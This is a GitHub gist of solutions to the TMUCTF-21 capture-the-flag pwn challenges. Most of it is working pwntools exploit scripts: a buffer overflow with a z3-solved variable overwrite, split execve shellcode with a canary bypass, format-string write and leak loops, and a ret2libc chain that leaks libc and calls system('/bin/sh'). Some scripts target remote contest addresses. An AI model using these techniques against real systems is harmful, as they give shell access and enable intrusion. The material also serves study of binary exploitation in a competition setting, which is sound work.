Skip to content

Instantly share code, notes, and snippets.

@Error-200
Created September 10, 2021 05:23
Show Gist options
  • Select an option

  • Save Error-200/74f2d2304a699a9c2e42ddf4f1bf19f2 to your computer and use it in GitHub Desktop.

Select an option

Save Error-200/74f2d2304a699a9c2e42ddf4f1bf19f2 to your computer and use it in GitHub Desktop.
All pwns sols for tmuctf-21

TMUCTF-21

Warmup

just give lot's of 0x414141.........................

simply fill up the entire stack with some random bytes (!= 0)

Baby Pwn

overflow + win() call will give you the flag

Are you admin ?

overflow + varibale overwrite

#!/usr/bin/env python3

from pwn import *
from z3 import *

binary = context.binary = ELF('./areyouadmin')

local_c,local_10,local_14,local_18,local_1c = Ints('local_c local_10 local_14 local_18 local_1c')

s = Solver()

s.add(local_14 + local_c * local_10 == 0x253f)
s.add(local_18 + local_10 * local_14 == 0x37a2 )
s.add(local_1c + local_14 * local_18 == 0x16d3)
s.add(local_c + local_18 * local_1c == 0x1bc9)
s.add(local_10 + local_1c * local_c == 0x703f)

assert(s.check() == sat)

p = process(binary.path)

payload  = b''
payload += b'AlexTheUser\0'
payload += (0x68 - 0x1c - len(payload)) * b'A'
payload += p32(s.model().eval(local_1c).as_long())
payload += p32(s.model().eval(local_18).as_long())
payload += p32(s.model().eval(local_14).as_long())
payload += p32(s.model().eval(local_10).as_long())
payload += p32(s.model().eval(local_c).as_long())

p.sendlineafter(b'username:\n',payload)
p.sendlineafter(b'password:\n',b'4l3x7h3p455w0rd')
p.stream()

Canary

i struggle and i think i solved in a hard way a NX disabled shellcode + custom canary check a leak was given code make it somewhat easy.

#!/usr/bin/env python

from pwn import *

binary = context.binary = ELF('./canary')

if args.REMOTE:
	p = remote('194.5.207.113', 7030)
else:
	p = process(binary.path)

# shellcode base: http://shell-storm.org/shellcode/files/shellcode-806.php (27 bytes)
# we'll need to cut in half (15 bytes max for each half) and relative jmp to 2nd half
# we do not know exactly how far to jump back yet
shellcode1 = asm(f'''
xor eax, eax
mov rbx, 0xFF978CD091969DD1
''')

# compute the length of first shellcode so we can compute the relative jmp and append
# see ghidra decomp compare function for why 0x36 and 0x1b (local_36 and local_1b)
shellcode1 += asm(f'''
jmp $-{0x36 - 0x1b + len(shellcode1)}
''')

# rest of shellcode
shellcode2 = asm(f'''
neg rbx
push rbx
push rsp
pop rdi
cdq
push rdx
push rdi
push rsp
pop rsi
mov al, 0x3b
syscall
''')

p.sendlineafter(b': \n',shellcode1)
p.sendlineafter(b': \n',shellcode2)
p.recvuntil(b'canary address: ')
canary = int(p.recvline().strip(),16)
log.info('canary: ' + hex(canary))

payload  = b''
payload += 0x14 * b'A'
payload += p64(canary + (0x27 - 0x1b))
# he canary is a local_27, and our shellcode at local_1b, so add the delta to canary to know what to jmp ret to

p.sendlineafter(b': \n',payload)
p.interactive()

security code

simple format string :

from pwn import *

binary = context.binary = ELF('./securitycode')
# p = process(binary.path)


if args.REMOTE:
	p = remote('185.97.118.167',7040)
else:
	p = process(binary.path)

secret = binary.symbols['security_code']
hax = 0xabadcafe
flag = b''

for i in range(1,30):
    p = remote('185.97.118.167',7040)
    p.recvuntil('Are you an admin or a user?')
    p.sendafter("Enter 'A' for admin and 'U' for user.",'A')
    p.recvline()
    p.sendline(fmtstr_payload(15, {secret : hax}))
    p.recvuntil('Enter your password:')
    p.sendline('%'+str(i)+'$p')
    p.recvuntil('The password is ')
    x = p.recvline().strip()
    print('haxxoring....')
    try:
        res = p32(int(x, 16))
        flag += res
    except Exception:
        pass


print(flag)

Fake Survey

format-string : to leak password than simple 32-bit rop leak libc the system->/bin/sh

ghidra suck in the decompiled code and makes you job tough better go for ida.

decompiled code

int __cdecl main(int argc, const char **argv, const char **envp)
{
  unsigned int v3; // eax
  void *v4; // esp
  unsigned int v5; // eax
  void *v6; // esp
  char v8[8]; // [esp-8h] [ebp-38h] BYREF
  char *format; // [esp+4h] [ebp-2Ch]
  int v11; // [esp+8h] [ebp-28h]
  FILE *stream; // [esp+Ch] [ebp-24h]
  char *s; // [esp+10h] [ebp-20h]
  int v14; // [esp+14h] [ebp-1Ch]
  int *v15; // [esp+24h] [ebp-Ch]

  v15 = &argc;
  setbuf(stdin, 0);
  setbuf(stdout, 0);
  setbuf(stderr, 0);
  tmulogo();
  puts("=                                                                             =");
  puts("=                            Competition Survey                               =");
  puts("=                                                                             =");
  puts("===============================================================================\n");
  puts(
    "Thank you for your participation. Your feedback on the competition is valuable\n"
    "to us. You must find the password to post your opinions.");
  puts("\nEnter password:");
  v14 = SIZE - 1;
  v3 = 16 * ((SIZE + 15) / 0x10u);
  while ( v8 != &v8[-(v3 & 0xFFFFF000)] )
    ;
  v4 = alloca(v3 & 0xFFF);
  if ( (v3 & 0xFFF) != 0 )
    *(_DWORD *)&v8[(v3 & 0xFFF) - 4] = *(_DWORD *)&v8[(v3 & 0xFFF) - 4];
  s = v8;
  stream = fopen("passPhrase", "r");
  if ( !stream )
  {
    puts("\nThe passPhrase file not found!");
    exit(1);
  }
  fgets(s, SIZE, stream);
  v11 = SIZE - 1;
  v5 = 16 * ((SIZE + 15) / 0x10u);
  while ( v8 != &v8[-(v5 & 0xFFFFF000)] )
    ;
  v6 = alloca(v5 & 0xFFF);
  if ( (v5 & 0xFFF) != 0 )
    *(_DWORD *)&v8[(v5 & 0xFFF) - 4] = *(_DWORD *)&v8[(v5 & 0xFFF) - 4];
  format = v8;
  fgets(v8, SIZE, stdin);
  printf("\nYour password is ");
  printf(format);
  if ( !strcmp(s, format) )
  {
    empty_stdin();
    opinion();
  }
  return 0;
}
int opinion()
{
  char buf[68]; // [esp+0h] [ebp-48h] BYREF

  setbuf(stdin, 0);
  puts("\n===============================================================================");
  puts("\nYou logged in successfully!\nNow tell us your opinions about the competition :)");
  read(0, buf, 200u);
  return puts("\n*** Thanks for sharing your opinions with us ***");
#!/usr/bin/env python3

from pwn import *

binary = context.binary = ELF('./fakesurvey')

if args.REMOTE:
	p = remote('185.235.41.205', 7050)
else:
	p = process(binary.path)

p.sendlineafter(b'word:\n',b'%18$s')
p.recvuntil(b'Your password is ')
password = p.recvline().strip()

log.info('password: ' + password.decode())
p.close()

if args.REMOTE:
	p = remote('185.235.41.205', 7050)
	libc = ELF('./libc6-i386_2.31-0ubuntu9.2_amd64.so')
else:
	p = process(binary.path)
	libc = ELF('/lib/i386-linux-gnu/libc.so.6')

p.sendlineafter(b'word:\n',password)

payload  = b''
payload +=  0x4c * b'A'
payload += p32(binary.plt.puts)
payload += p32(binary.sym.opinion)
payload += p32(binary.got.puts)

p.sendlineafter(b':)\n',payload)

p.recvuntil(b'***\n')
_ = p.recv(4)
puts = u32(_)
log.info('puts: ' + hex(puts))
libc.address = puts - libc.sym.puts
log.info('libc.address: ' + hex(libc.address))

payload  = b''
payload +=  0x4c * b'A'
payload += p32(libc.sym.system)
payload += 4 * b'B'
payload += p32(libc.search(b'/bin/sh').__next__())

p.sendlineafter(b':)\n',payload)
p.interactive()
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment